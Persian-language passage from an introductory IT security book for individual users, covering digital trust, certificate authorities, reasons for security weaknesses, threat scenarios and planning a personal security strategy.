برداريهـاي نـسبتاً كـاملي انجـام        اطلاعاتي ديجيتـالي نـسخه    

برداري از آنها آسان بوده و حين فروش        شود، چراكه نسخه    مي
فنـاوري مـورد    . لزومي ندارد كه به دنبال نسخه اصلي آن بود        

توان در شرايط و محيطهاي       استفاده در صنعت موسيقي را مي     
مورد استفاده قـرار داد، بـه ايـن معنـي كـه فـوت و                ديگر نيز   

تـوان بـا      فنهاي تجاري يا ديگر اطلاعات محرمانه را نيز مـي         
روشهايي تهيه و منتشر نمود كـه موجـب تخريـب شـديد آن              

هاي با ارزش نياز بـه حفاظـت          سرمايه. تجارت و صنعت گردد   
 تواند برقرار البته اين سطح از امنيت مي     . كافي و مناسب دارند   

شود، اما مخاطرات و روشهاي كار براي شركتي كه در قالـب            
كند با مخاطرات و روشهاي كار در تجارت الكترونيكي كار مي

  .پردازد متفاوت استشركتي كه بصورت سنتي به تجارت مي

  بسوي مفهوم نويني از قابليت اطمينان
خواهد كه در تعريـف خـود از          محيط ديجيتالي جديد از ما مي     

در دنياي واقعي از معيارهـاي      . مينان بازنگري كنيم  قابليت اط 
اي براي تصميمگيري دربارة ميزان اطمينان بـه يـك            گسترده
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كنيم؛ مـثلاً از   شخص، يك فرآيند، يا يك سازمان استفاده مي    
مـان  هـاي قبلـي   تطابق مشاهدات فعلي با تجربيات و دانـسته       

 حـين تبـادل اطلاعـات در فـضاي سـايبر          . نماييماستفاده مي 
. رونـد   بيشترِ شاخصهاي غير شفاهي ارتباطـات از دسـت مـي          

كنـيم يـا صـفحة        هنگاميكه يك نامة الكترونيكي دريافت مي     
توانيم هميشه بگوئيم كه اگر اطلاعات        خوانيم، نمي   وبي را مي  

شد كـه     كرديم مشخص مي    دقيق بود و اگر آنها را بررسي مي       
شـده  دانيم كـه خطاهـاي واقـع        همچنين نمي . صحيح نيستند 

انگاري هستند يا تلاشهايي تعمدي بـراي فريـب           نتيجه سهل 
دانـيم كـه آيـا        در غياب اطلاعات حتـي ديگـر نمـي        . دادن ما 

نويسندة يك پيام همان شخصي است كه خودش ادعاي آنرا          
  .دارد يا خير

مسلم است كه فريبكاري در جهان واقعي نيـز رخ مـي دهـد،              
فـراد بـصورت   ولي معمولاً تعيـين حقيقـت در شـرايطي كـه ا        

  .تر استفيزيكي و مكانها بصورت واقعي وجود دارند ساده

 بـه ايـن بعـد از        ٦٥مراكز صـدور گـواهي    خوشبختانه از طريق    
اين مراكز بـراي    . امنيت دنياي سايبر كمك زيادي شده است      

شناسايي افـراد و سـازمانها بـه طـور رسـمي گـواهي صـادر                
اگـر  : دارداين مفهـوم در دنيـاي واقعـي نيـز وجـود             . كنند  مي

گذرنامة ملي داشته باشيد يعني دولت يك كشور هويت شـما           
توانيـد       خواهد بود كه مي     ايرا تأييد كرده و لذا گذرنامه نشانه      

بطور مشابه اگر   . براي تصديق هويت خود از آن استفاده كنيد       
گواهينامة وسيلة نقلية موتوري داشـته باشـيد بـه ايـن معنـي              

ايِ دولـت بـراي شـما        احيـه است كه يك سـازمان ملـي يـا ن         
كند و هـم      مجوزي صادر كرده كه هم هويت شما را تأييد مي         

. دهـد جواز راننـدگي بـا يـك وسـيلة نقليـه را بـه شـما مـي                 
دهند نيـز از طريـق      شركتهايي كه خدمات كارت اعتباري مي     
كارفرمـا يـا   . نماينـد  صدور كارتهاي اعتباري شما را تأييد مـي   

از طريق يك كارت شناسـايي  آموزشگاه شما هم ممكن است  
شما را تأييد كند و آن كارت ممكن است دسترسي شما را بـه          
سرويسهاي خاصي كه مخصوص كارمنـدان يـا دانـشجويان          

  .يك حوزة خاص هستند برقرار نمايد

واضح است كه تعداد مراكز صـدور گـواهي در دنيـاي واقعـي      
بطور كلي هريك از ايـن مراكـز از تأييـد شـما             . اندك هستند 

جامعيت تأييد هويت از يـك      . گيرند  هدف خاصي را درنظر مي    
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مركز تا مركز ديگر متفاوت است؛ برخي از آنها ممكـن اسـت             
به اثبات كامل هويت شما نياز داشته باشند، درحاليكه سايرين          

  .كنيد را بپذيرند ممكن است آنچه كه بيان مي

مراكز صدور گواهي در دنيـاي سـايبر ايـن مشخـصات را بـه        
سطوح متعدد تأييد هويـت بـراي درجـات         . گذارند  اك مي اشتر

شود و هريك از اين گواهيها تنهـا        مختلف اطمينان ايجاد مي   
لذاست كه هرچند ممكن اسـت  . باشند  در سطح خود معتبر مي    

بنظر برسد كه وجود يك مركز صدور گواهي بـراي دسـتيابي            
به تمامي اهداف مورد نظـر كـافي اسـت؛ امـا چنـدين مركـز              

علاوه بـر ايـن بـا       . گواهي در دنياي مجازي وجود دارد     صدور  
تواننــد  ، ايــن گواهيهــا مــي٦٦گــواهي الكترونيكــياســتفاده از 

بصورت الكترونيكي امضا شوند و اين اطمينان را ايجاد كننـد           
ــي اســت   ــده صــحيح و حقيق ــل ش ــواهي منتق ــه گ ــن . ك اي

سيستمهاي صدور گواهي از روشهاي تجربي و شـهودي كـه           
تـر  گيرنـد مـستحكم   ي مورد اسـتفاده قـرار مـي      در دنياي واقع  

در دنياي ديجيتالي براي برقراري اعتماد لازم جهـت         . هستند
  پشتيباني از انجام تراكنشهاي تجاري و نقل و انتقالات مـالي          

ــبكه ــت كــه روشــهاي      در ش هــاي الكترونيكــي، لازم اس
  .تر مورد استفاده قرار گيرند مستحكم

جود مكانيزمهاي مناسـب بـراي      دولتها در ايجاد اطمينان از و     
كارايي و مورد استفاده قرار گرفتن مدلهاي جديد اعتماد نقش          

انجام تراكنشهاي سازمانهاي كوچك و متوسـط       . مهمي دارند 
در بعضي  . بصورت الكترونيكي بسته به وجود اين اعتماد است       

ها دولتها بر اين باورند كه سازمانهاي دولتي بايد بعنوان            كشور
ر گواهي عمل كننـد و در سـاير كـشورها دولتهـا             مراكز صدو 

معتقدند كـه وظيفـة مراكـز صـدور گـواهي بايـد بـه بخـش                 
سازي، هدف از    مستقل از جزئيات پياده   . خصوصي واگذار شود  

توانـد   سياسـت دولـت مـي   . تأسيس اين مراكـز واضـح اسـت     
مكانيزمهاي ايجاد اطمينان را تسهيل كند تا افراد، سازمانها و          

 ــ ــاربران منف ــيِ   ك ــارت الكترونيك ــند در تج ــادر باش رد آن ق
  .كشورهاي ديگر هم مشاركت نمايند
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ش
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  بندي جمع
كنـد    فناوري ديجيتالي ابزارهاي جديد و مهيجي را فراهم مي        

توانند نقش بسزايي در آموزش، بهداشت، رفـاه،     كه هريك مي  
  .تجارت و ساير بخشهاي جامعة مدني داشته باشند

جوينـد، امـا    ري اطلاعات بهره ميتمام افراد و كشورها از فناو     
اين فناوري براي كشورهاي درحال توسعه جاذبة خاصي دارد         

تواند جا افتادن آنها در جامعة اقتـصاد جهـاني را تـسريع           و مي 
اين فناوري هنوز در آغاز راه خـود اسـت ولـي بـسرعت              . كند

متأسفانه همانند سـاير پيـشرفتهاي      . باشد    درحال پيشرفت مي  
تواند هم براي اهداف مـشروع و هـم           ترنت نيز مي  فناوري، اين 

همـانطور كـه    . براي اهداف نامشروع مورد استفاده قرار گيـرد       
مشاهده كرديم در دنياي سايبر مجرمان و خرابكـاراني وجـود           
دارند كه از اينترنت براي حمله به كاربران منفـرد و سـازماني             

  .كنند استفاده مي

مثالهـاي ايـن    .  اسـت  يك مفهوم مهـم   " ايمني سايبر "مفهوم  
، و رخـدادهاي    CERTشـده بـه     فصل، ميزان وقايع گـزارش    

شـوند همگـي      جديدي كه روزانه در مطبوعـات گـزارش مـي         
دهند كـه چـرا آگـاهي از موضـوعات امنيتـي حـائز                نشان مي 

اهميت است و چرا بايد گامهايي بـراي تـضمين پـشتيباني از             
  .ها و تجارت برداشت هاي شخصي، داده رايانه

اي از الگوهاي سـرآمدي در زمينـة           كتاب حاوي مجموعه   اين
امنيت است كه در اجراي سياستها و روشهايي كه به موقعيت           

علاوه بر آن مراجع    . كنند  خاص شما مربوط هستند كمك مي     
چاپي و الكترونيكي فراواني كه در بر دارنده ابعاد خاص امنيت         

ه شـكل   نهايي كه ب    فناوري اطلاعات هستند و همچنين سازما     
تخصصي بر روي موضوعات امنيت فناوري اطلاعات تمركـز         

تمـامي ايـن منـابع بـراي افـراد و           . كنـد دارند را معرفـي مـي     
سازمانهايي كه در پي گسترش آگاهي خود از امنيت در جهان           

  .باشند مفيد خواهند بود اي مي شبكه

اين شرايط در كشورهاي درحـال توسـعه از اهميـت خاصـي             
گـذاري مـستقيم خـارجي و اعتمـاد و            مايهسر. برخوردار است 

قابليت اطمينان در اين كشورها بـستگي بـه سـطح امنيـت و              
. آميـز فنـاوري و زيرسـاختهاي آن دارد        سـازي موفقيـت   پياده

دولتها، سازمانها و كاربران منفـرد همگـي نقـش بـسزايي در             
هاي اطلاعـاتي و الكترونيكـي كـشورها          تأمين امنيت سرمايه  

ناخت تهديدات بسيار سودمند است؛ و عملكرد       ش. كنند  ايفا مي 
توانـد يـك محـيط قابـل        مناسب بر اساس چنين شناختي مي     

اطمينان ايجاد كند و باعث شود ساكنان كرة زمين تـا سـرحد         
  .امكان فوايد عصر نوين ديجيتال را حس كنند
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  امنيت فناوري اطلاعات
  و كاربران منفرد

    مقدمه  . ۱فصل   
  يم امنيتيدرك مفاه  . ۲فصل   
  هاامنيت رايانه و داده  . ۳فصل   
  افزارهاي كاربرديعامل و نرمامنيت سيستم  . ۴فصل   
  افزارهاي مخرب نرم  . ۵فصل   
  امنيت خدمات شبكه  . ۶فصل   
  ابزارهايي براي ارتقاي امنيت  . ۷فصل   
   نكات ويژه بسترهاي مختلف  .۸فصل   
  آشنايي با كدگذاري و رمزگذاري  .۱ضميمه  
  TCP/IP  .۲مهضمي  
 نامه اصطلاحات فني واژه  . ۳ضميمه  
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  فصل اول
  مقدمه

تأكيد بخش دوم بيشتر بر تأمين امنيت كاربران منفـرد رايانـه          
اي كه     از مبتديان گرفته تا كارشناسان؛ و اولين مسئله        -است  

در ايــن زمينــه بايــد شــرح داده شــود چگــونگي حفاظــت از  
  .هاي شخصي است رايانه

ايانه بصورت ايمن استفاده كرد؛ ولـي اينكـار بـه           توان از ر  مي
زبان بكار رفته در    . اطلاعات، زيركي و مراقبت شديد نياز دارد      

بعـضي از   . باشـد   اين بحث بعضاً حاوي مفاهيم نامأنوسي مـي       
انـد و   اصطلاحات و تعاريف در ضميمة انتهاي اين بخش آمده        

  .اند ه كتاب بطور كامل طرح شد۱بعضي از آنها نيز در پيوست 

اولين گام در ارائه يك استراتژي صحيح امنيتي اين است كـه      
از آنهـا   " حفاظت"هاي شخصي و      رايانه" كاربرد صحيح "مفهوم  

اگر شـما نيـز بـدنبال همـين مـسئله هـستيد،             . مشخص شود 
  : كنيد كه اطمينان حاصل

كنند يـا     هايتان تنها درصورتي تغيير مي      ها و برنامه    داده •
 اي داشته باشيد؛ا چنين خواستهشوند كه شم پاك مي

نويس آنرا    اي كه طراح يا برنامه      هاي رايانه بگونه    برنامه •
افزاري، مگر عيب و نقصهاي نرم    (كنند  تعيين كرده عمل مي   
 ؛)ها ناخواسته استكه وجود آنها در برنامه

ها، رايانـه و      تواند بدون اجازة شما از داده     هيچكس نمي  •
 شبكة شما استفاده كند؛

انه بطـور ناخواسـته فايلهـاي آلـوده بـه ويـروس را              راي •
 كند؛منتشر نمي

كسي قادر به مـشاهدة تغييراتـي كـه در رايانـه ايجـاد        •
 كنيد نيست؛ مي

هــاي شــما، چــه در  كــسي توانــايي دســتيابي بــه داده •
 هاي سيمي را ندارد؛ سيم و چه در شبكه هاي بي شبكه

روي سيــستمها و يــا پايگاههــاي وبــي كــه بــه آنهــا   •
 و  ١نـام كـاربري   رسي داريد كسي قادر به سـرقت        دست

   نيست؛٢رمز عبور

چنانچه شمارة كارت اعتباري و يا اطلاعات مربوط بـه           •
حساب بـانكي خـود را از طريـق شـبكة اينترنـت وارد              

هــاي مربوطــه از امنيــت كامــل برخــوردار  كنيــد، داده
مسلماً شما بر آنچـه كـه در سـوي ديگـر شـبكة              (خواهند بود   
 ؛)دهد كنترلي نخواهيد داشت  ميارتباطي رخ

 ...و  •

هـاي شخـصي ناديـده گرفتـه          چنانچه نكات امنيتي در رايانه    
ممكـن اسـت ايـن      : آيـد شوند پيامدهاي گوناگوني به بار مـي      

اي در بـر      پيامدها منجر بـه آزار شـخص گردنـد ولـي هزينـه            
نداشته باشند، و يا اينكه هزينة گزافي تحميـل كننـد و وقـت              

در مـواردي كـه     .  بـه خـود اختـصاص دهنـد        بسيار زيـادي را   
شـود ممكـن    حفاظت از رايانه بعنوان حرفة شخص قلمداد مي 

است مشكل بوجود آمده باعث به خطر افتادن موقعيت شغلي          
در تمامي موارد شخص بايـد بـه ارزيـابي احتمـال            . وي گردد 

خطر بپردازد و طرح امنيتي لازم را بكـار گرفتـه و آنـرا اجـرا                
ه به جزئيـاتي كـه در رابطـه بـا امنيـت فنـاوري               با توج . نمايد

آيد كـه بتـوان       اطلاعات ارائه شده است اين امكان بوجود مي       
  .هاي شخصي را كنترل نمود تمامي جوانب امنيتي رايانه

شده در اين كتاب نيـز بكـار گرفتـه          چنانچه راهنماييهاي ارائه  
 توان احتمال خطر را تا حد قابل قبولي كاهش داده و  شوند مي 

  .از جهان درحال تغيير فناوري اطلاعات استفادة بهينه نمود

هـاي شخـصي صـدها        طبيعتاً ارائه تمامي نكات امنيتي رايانه     
دهد، اما مخاطبين غالباً    صفحه مطلب را به خود اختصاص مي      

در ايـن نوشـته     . تمايل چنداني به مطالعه مطالب انبوه ندارنـد       
 جهــت درك و اي از اطلاعــات لازم بــراي كــاربران خلاصــه

. هاي شخصي ارائه شده اسـت     سازي نكات امنيتي رايانه   پياده
مراجع ذكرشده در بخش ضمايم شـامل منـابع الكترونيكـي،            

تواننـد كمكهـاي     سازمانهاي مرتبط، و مستندات چاپي نيز مي      
مفيدي باشند و كاربر را به مطالعة بيشتر نكات امنيتي فناوري           

  .اطلاعات تشويق نمايند

                                                                  
1  Username 
2  Password 
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  فصل دوم
  درك مفاهيم امنيتي

  كليات
اين فصل به تبيـين ضـرورت برقـراري امنيـت و حفاظـت از               

در اين فصل به پيامدهاي نفوذ      . شبكه و رايانه اختصاص دارد    
امنيتي، اقدامات اوليه جهت مقابله با آن، و نيـز چنـد تعريـف              

تعـاريف كـاملتر در     . شـود فني از مباحث امنيتي پرداختـه مـي       
  .اند  كتاب ذكر شده۱نيز پيوست  همين فصل و ۱ضميمه 

  چرا تمهيدات امنيتي ضرورت دارند؟
اشتراك   ها در سيستمهاي به     در اولين روزهاي استفاده از رايانه     

شده تنها از نام كاربري براي شناسايي افـراد اسـتفاده           گذاشته
بعـد از آنكـه     . شد و نيازي به وارد كردن رمـز عبـور نبـود             مي

وء اسـتفاده از ايـن سيـستم كردنـد          كاربران بدخواه آغاز به س    
امـروزه  . رمزهاي عبـور نيـز بـه آن سيـستمها اضـافه شـدند             

ها   راهبران بيش از هر زمان ديگر بايد به امنيت شبكه و رايانه           
  :مهمترين دلايل اين مسئله عبارتند از. بيانديشند

افـزاري و   گذاري روي تجهيـزات سـخت   ارزش سرمايه  •
 قابل توجه اين است كـه        نكتة - افزاري  هاي نرم   برنامه
افزاري بسيار گرانقيمت هستند      هاي نرم   ها و بسته    رايانه

حتـي اگـر در     . و جايگزيني آنها پرهزينه و دشوار است      
افزارهـا كـاملاً از    افزارها و سخت يك رخداد امنيتي نرم 

بين نروند ممكن است مشكلات امنيتي ما را وادار بـه           
تعاقبـاً لازم شـود   افزارها كنند و م    نصب مجدد همة نرم   

ايـن امـر    . كلية نيازهاي اساسي مجدداً تعريـف گردنـد       
مستلزم صرف زمان بسيار زيادي است؛ خـصوصاً اگـر          
فرد مسئول، اطلاعات فني كافي در اين زمينه نداشـته          

 .باشد

هـا ممكـن اسـت         اين داده  - هاي سازماني   ارزش داده  •
ــا  هــا، پــروژه شــامل ليــست مــشتري هــاي مــالي و ي

 باشـند كـه توسـط كـاربر نوشـته            ي تجـاري  ها  برنامه
 .اند شده

هاي فـردي      ممكن است داده   -هاي فردي     ارزش داده  •
ارزش مادي چنداني نداشته باشند ولـي از دسـت دادن    

آور باشد و براي ايجاد دوبارة اطلاعـات          آنها بسيار زيان  
سـرقت  تعـاريف مربـوط بـه       (زمان بسيار زيادي لازم باشد      

 ). قرار دهيد را مورد ملاحظه٣هويت

 همگام با پيـشرفتهاي     - اي  تهديدات جنايتكاران رايانه   •
هـاي    فناوري، گروهي از خرابكـاران كـه از دزدي داده         

در مـواردي   . انـد برند نيز بوجود آمـده      اي سود مي    رايانه
گيـرد و     اينكار صرفاً براي لذت و سرگرمي صورت مـي        

ان برخي افراد نيز تنها بخاطر خودنمايي در برابر دوسـت         
زننـد؛ امـا در بعـضي     خود دست به چنين كارهايي مـي   

مــوارد اينكــار بــراي دســتيابي بــه منــافع شخــصي و  
دزدي اطلاعات كارت اعتبـاري يـا       (گيرد    سازماني انجام مي  

در تمامي موارد مـذكور ايـن       ). ورود به معاملات فريبكارانه   
اعتمـادي  اشخاص باعث ايجاد خسارت و گسترش بي      

 بوجـود    تر مشكلات بحرانـي     تردهشوند و در حد گس    مي
آورند كه به اشخاص و موقعيتهـاي شـغلي صـدمه             مي

بايد گفت از زماني كه اينترنت در مقياس        . كند  وارد مي 
جهاني در اختيار كاربران قرار گرفته، تعقيب و متوقـف          

باشـد  كردن مهاجمين هرچند همچنان امكانپـذير مـي       
 .ولي بسيار پيچيده شده است

  ر بعد امنيت ضعف وجود دارد؟چرا معمولاً د
افزاري غالباً بدون درنظر گرفتن مسائل امنيتي         هاي نرم   برنامه

  :اين مسئله چند دليل دارد. شوندتوليد مي

نويـسان و طراحـان از اهميـت          برنامـه  - انگـاري   سهل •
 .نكات امنيتي اطلاعي ندارند

 تا چندي قبل حتي كساني كه نـسبت         - اولويت پايين  •
ي آگـاهي داشـتند نـسبت بـه آن اقـدام            به نكات امنيت  
كردند و درنتيجه مسائل امنيتي مورد توجه         چنداني نمي 

 .شد لازم واقع نمي
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كنند    بعضي افراد تصور مي    - محدوديت زمان و هزينه    •
اقدامات امنيتي جهت طراحي، كد نويسي و آزمايش در     

افزار هزينة گزافي در بر داشـته و    طول فرآيند توليد نرم 
 .دهد دي را به خود اختصاص ميزمان زيا

 در كارهــاي مربــوط بــه - نويــسانبرنامــه نظمــي بــي •
نويــسي اشــتباهات مــشابه چنــدين بــار تكــرار  برنامــه

 .گردند شوند و باعث ايجاد نقايص امنيتي مي مي

 انسان موجود خلاقي است و افراد  - خلاقيت تبهكاران  •
باانگيزه هميشه براي غلبه بر موانـع امنيتـي و كـشف            

تباهاتي كه منجر به نقايص امنيتي شوند راهي پيـدا          اش
 .خواهند كرد

قربانيان ( كاربران معمولي    - سطح پايين آگاهي كاربران    •
بطور طبيعي از تهديدهاي اطـراف خـود        ) تخلفات امنيتي 

آگاهي ندارند و به همين دليل در پي راههاي مناسـب           
 .ها و سيستمهاي خود نيستند جهت تضمين امنيت داده

 برخـي كـاربران نـسبت بـه         -  غيرواقعي قربانيان  نگاه •
گيرند؛   نكات امنيتي آگاهي دارند ولي آنها را جدي نمي        

اي عليـه آنهـا صـورت     كنند كـه حملـه  چون گمان مي  
 .نخواهد گرفت

  هاي آنهاارزيابي تهديدات و هزينه
جهت درك اهميت نكات امنيتي لازم اسـت بـه چنـد سـؤال              

يـد مـسائل زيـر اتفـاق افتـاده          ابتدا فرض كن  . پاسخ داده شود  
باشند و سپس سعي كنيد نتـايج احتمـالي هريـك را ارزيـابي              
نماييد و در هر مورد بـه چنـد سـؤال كليـدي كـه در ابتـداي                  

  .صفحه بعدي آمده پاسخ دهيد

  ...چه اتفاقي خواهد افتاد اگر

كند و رايانة شـما       شخصي به خانه و يا محل كار شما حمله          ...
بر آن ديسك نسخة پشتيبان شما كه ممكن       را بدزدد و علاوه     

  .است در آن نزديكي باشد را نيز با خود ببرد

  .هاي رايانة شما پاك شوند همة داده...

هـا   اين داده. هاي شما به سرقت رود     يك نسخه از تمام داده    ...
اطلاعـات حـساب    : ممكن است شامل مواردي باشند از قبيل      

 عبـورِ پايگاههـاي     بانكي، فهرست نامهاي كاربري و رمزهاي     

، گزارشهاي كاري مهم و تكاليف      ٤خريدهاي برخط وب انجام   
نمرات درسهاي ترم جـاري     % ۵۰درسي كه ارزش آنها معادل      

  .شما است

لحظه هر آنچه را كه شما با رايانه انجـام            به    شخصي لحظه   ...
زمانيكه شمارة كارت   . دهيد مشاهده كند و به خاطر بسپارد        مي

كنيد از آن آگاه شود، از گشت و گـذار   ارد مياعتباري خود را و 
شما در پايگاههاي وب مختلـف مطلـع باشـد، و زمانيكـه بـا               

كنيـد بتوانـد نـام        پايگاه وب يا سيـستمها ارتبـاط برقـرار مـي          
  .كاربري و رمز عبور را به سرقت ببرد

كنيد و زمـان در آن        هنگاميكه روي يك پروژة مهم كار مي      ...
  .رايانة شما دچار مشكل گرددنقش بسيار مهمي دارد، 

اي مخرب به همه دوستانتان كه نام آنها          يك ويروس رايانه  ...
  .در دفترچة آدرسهاي رايانة شما ثبت شده ارسال شود

كنيد كـه   وقتي صورتحساب تلفن را دريافت كرديد ملاحظه    ...
مبلغ آن حتي از حقوق ماهيانة شما هم بيشتر است و ايـن در              

ئن هـستيد بـه ايـن ميـزان از تلفـن            شرايطي است كه مطم ـ   
  .ايد استفاده نكرده

شـود و     يك صورتحساب كارت اعتباري براي شـما ارسـال          ...
كنيد كه اين صورتحساب شـما نيـست؛ ولـي بانـك              مشاهده  

سعي دارد شما را متقاعد كند كه به اين ميزان از كـارت خـود        
  .ايد و براي اين مدعا دليل هم دارد استفاده نموده

 كليدي كه در هر مورد بايد به آنها پاسخ داده شود به             سؤالات
  :شرح زير هستند

 درصورت وقوع، آيا امكان ترميم وجود دارد؟ •
 دهد؟ اين رخداد چقدر زمان به خود اختصاص مي •
 شود؟ چه مقدار هزينه صرف آن مي •
 تواند سازمان شما را تحت تأثير قرار دهد؟ چگونه مي •
مثلاً در شرايط نامناسب    (د؟   در بر دار    هاي جانبي   چه هزينه  •

 )و در غياب مسئول مربوطه

را مـشخص   " امنيـت رايانـه   "تمامي اين موارد اهميت موضوع      
ايد امنيت موضوعي بسيار مهم       اكنون كه متوجه شده   . كنند  مي

است، گام بعدي بررسي يك طرح مناسب امنيتي براي ايمـن           
  :باشدشدن مي
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 داشت؟اي خواهد  ايمن شدن براي شما چه هزينه •
 دهد؟ چه زماني را به خود اختصاص مي •
 آفرين خواهد بود؟ تا چه حد مشكل •
آيا كارهايي وجود دارند كـه بـا اجـراي طـرح امنيتـي،            •

 انجام آنها مشكل و يا غير ممكن شود؟
توانيد به تنهـايي طـرح را اجـرا كنيـد يـا بـراي             آيا مي  •

 اجراي آن به كمك ديگران نياز داريد؟

لات بسيار مهمي هستند؛ چراكه شما      سؤالات مطرح شده سؤا   
براي اجراي يك طرح امنيتي نياز به تخمين مناسبي از هزينه           

بـدون وجـود    . و زمان لازم و نيز مشكلات جـانبي آن داريـد          
چنين اطلاعاتي ممكن است در طول فرآينـد دچـار نااميـدي            
شويد؛ يا پروژة مربوطه را لغو نمـوده و سـپس خـود را بـدون                

 در ادامـه در مـورد هريـك از مـوارد توضـيح              .پشتيبان بيابيد 
  .بيشتري داده شده است

  اي خواهد داشت؟ ايمن شدن براي شما چه هزينه

چند راهكار مناسب امنيتـي وجـود دارنـد كـه بـه تجهيـزات                
چنداني نياز ندارند و تجهيـزات لازم نيـز آنچنـان گرانقيمـت             

 كـه رايجتـرين كـالاي امنيتـي         ٥يابهـا   ويـروس حتي  . نيستند
. باشـد    در دسـترس مـي     ٦افزارهاي رايگان   نرمتند در قالب    هس

ــه   ــدة  شــايان ذكــر اســت كــه فهرســت ســازمانهاي ارائ كنن
  .باشد افزارهاي رايگان در بخش ضمائم موجود مي نرم

  دهد؟چه زماني را به خود اختصاص مي

مسلماً اجراي طرح امنيتي و دنبال كردن آن زماني را به خـود       
در ايـن  . ان اين زمـان زيـاد نيـست   دهد، اما ميز اختصاص مي 

افزارهاي مناسب را نصب كنيـد و         خصوص لازم است كه نرم    
سپس وظايف حفاظتي معمول را طبق يك روال مشخص به           

  .انجام رسانيد

  تا چه حد براي شما مشكل آفرين خواهد بود؟

بايـد در مـورد     . ميزان مشكلات به ديدگاه شـما بـستگي دارد        
 داشته باشيد و هرگـز نبايـد فكـر          دهيد آگاهي   آنچه انجام مي  

براي مثـال   . كنيد كه هر چيزي در نوع خود واجد امنيت است         
اي   اگر شخصي در نامة الكترونيكي خود بـراي شـما ضـميمه           

                                                                  
5  Virus Scanners 
6  Freeware  

فرستاده باشد، بايـد در مـورد بـازكردن و يـا بـاز نكـردن آن                 
اين ميزان احتياط در زندگي روزمـره نيـز         . گيري كنيد   تصميم

ن مثال بسيار خوشـايند خواهـد بـود اگـر           بعنوا. ضروري است 
بتوانيد هر زمان كه بخواهيد از خيابان عبـور كنيـد؛ امـا لازم              

  .است براي عبور از خيابان مراقب آمد و رفت ماشينها باشيد

آيا كارهايي وجود دارند كه با اجراي طرح امنيتـي،          
  انجام آنها مشكل و يا غير ممكن شود؟

 عملكـرد خـود را تـا حـدودي          بله؛ شما براي ايمن شدن بايد     
انتخاب طرحي بـراي امنيـت بيـشتر، شـما را بـه             . تغيير دهيد 

 كه بايد تا حد امكـان  -آگاهي بيشتر در برابر مشكلات بالقوه      
افـزاري    هاي نرم   بسته. رساند مي -از بروز آنها جلوگيري كنيد      

 -جديد قابليتهاي جذاب بسياري دارنـد، امـا اسـتفاده از آنهـا              
دسته كه براي گسترش شبكه و ارسـال و دريافـت           خصوصاً آن 

پذيري بيشتر در برابر حملات   باعث آسيب-روند  پيام بكار مي  
بعنوان مثال ممكن است پايگاه وبي وجـود داشـته          . گردند  مي

كنندة خدمات مورد نظر شـما باشـد ولـي بـراي              باشد كه ارائه  
افـزار خـاص آنـرا      دسترسي به آن لازم باشـد كـه يـك نـرم           

download  اگـر نـسبت بـه    .  و بر روي رايانه خود اجرا كنيد
دهند اعتماد كافي نداريد      اشخاصي كه اين خدمات را ارائه مي      

تواند بـراي شـما بـه    بهتر است از قابليتهايي كه آن برنامه مي 
  .ارمغان بياورد صرفنظر نماييد

توانيد به تنهايي طرح را اجرا كنيد يا بـراي            آيا مي 
  يگران نياز داريد؟اجراي آن به كمك د

فرض بر اين است كه شما مسئول تمام ابعاد امنيتي سيـستم            
خود هستيد، اما در عمل شايد بهتر باشد كه براي بهتر انجـام             

  .شدن كار از ديگران نيز كمك بگيريد

شـده كـه     ارائـه  ٧هـاي   وصـله افزارها و     روزرساني نرم به •
پهنـاي  بخش مهمي از فرآيند ايجاد امنيـت اسـت بـه     

مسلماً اين مسئله بـراي كـسي       .  شما بستگي دارد   ٨دبان
كه به اينترنت متصل شده و سرعت ارتباط وي در حد           
مگابايت است مشكلساز نيـست؛ ولـي پهنـاي بانـد در          
كشورهاي درحال توسعه به شدت محـدود و بـسياري          
اوقات پرهزينه و گرانقيمت است و اتصال به اينترنـت          

                                                                  
7  Patches 
8  Bandwidth  
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مدت هم مقـرون    نيهاي طولا از طريق تلفن براي بازه    
به همين دليل در چنين شرايطي بهتر       . به صرفه نيست  
روز رساني كـرده      افزارهاي معمول را به     است يكنفر نرم  

ــار downloadهــاي و نــسخه  شــدة آنهــا را در اختي
متأســفانه انجــام اينكــار معمــولاً . ديگــران قــرار دهــد

 كـردن مـستقيم توسـط هـر         downloadمشكلتر از   
  كاربر است؛

اي در كـار بـا رايانـه          رهاي امنيتي به افراد حرفه    هشدا •
كاربران مبتدي معمولاً نسبت به چنـين     . كند  كمك مي 

هشدارهايي حساسيت زيادي ندارند و اگر يـك كـاربر          
هشداري دريافت كند معمولاً قادر به فهم كامـل آن و           

 بعضي اوقات   ٩.متعاقباً بروز واكنش مناسب نخواهد بود     
آفـرين دريافـت    امه مـشكل  ممكن است شما يك هرزن    
روزرسـاني از مايكروسـافت      كنيد كه ادعا دارد يك بـه      

است ولي بايـد    " Update"باشد كه شامل ضميمة       مي
هـا  هاي اين نامـه دقت داشته باشيد كه معمولاً ضميمه 

 چيزي جز ويروسهاي خطرناك نيستند؛ و

شـوند    در محيطهايي كه تعداد زيادي رايانه يافـت مـي          •
لازم اســت كــه ) هــاي دولتــي مــدارس، ادارهمراكــز كــاري، (

 جهت اعمال برخـي از      ١٠راهبر سيستم شخصي بعنوان   
 .تدابير امنيتي بكار گرفته شود

اگر بخواهيد كارهاي مربوط به امنيت سيستمها را به ديگـران    
نيز واگذار كنيد بايـد از يـك طـرح  تعامـل مناسـب اسـتفاده            

تمها در بخـشهاي    اطلاعات بيشتر در زمينة ادارة سيس     . نماييد
دقت داشته باشيد كـه مـشخص       . ديگر كتاب ارائه خواهد شد    

كردن مسئوليتها در فرآيندهاي امنيتي تحت گروههاي يك يا      
 .چند نفره بخش مهمي از هر طرح امنيتي است

  گيري در مورد طرح امنيت فردي تصميم

ها   هاي بسياري وجود دارند كه به نيازهاي امنيتي رايانه          برنامه
اكنون كه شما مفهوم خطرات را درك كـرده و در           . ردازندپمي

رابطه با انواع خطراتي كه بايد كاهش يافته و يا از بين برونـد              
ايد، قادر هستيد يك طرح امنيت فـردي را         گيري كرده تصميم

ــد ــه اجــرا در آوري ــابي قيمتهــا، زمــان لازم و  . ب پــس از ارزي

                                                                  
هرچند با گسترش آگاهي امنيتـي جامعـه، ايـن وضـع دچـار تغييـر                   ۹

  .شود مي
10  System Administrator 

رسـيد كـه    دردسرهاي انجام كار ممكن است به اين نتيجـه ب         
مقابله با بعضي از خطرات حـداقل در زمـان حاضـر ضـروري              

افزاري خاصي تكيه هاي نرم طرح امنيتي شما به برنامه  . نيست
هـا، قـوانين، و ملاحظـات         كند امـا كماكـان بايـد فرآينـد        مي

  .شخصي را در بر بگيرد

هاي چندگانه تشكيل شـده و        يك طرح امنيتي مناسب از لايه     
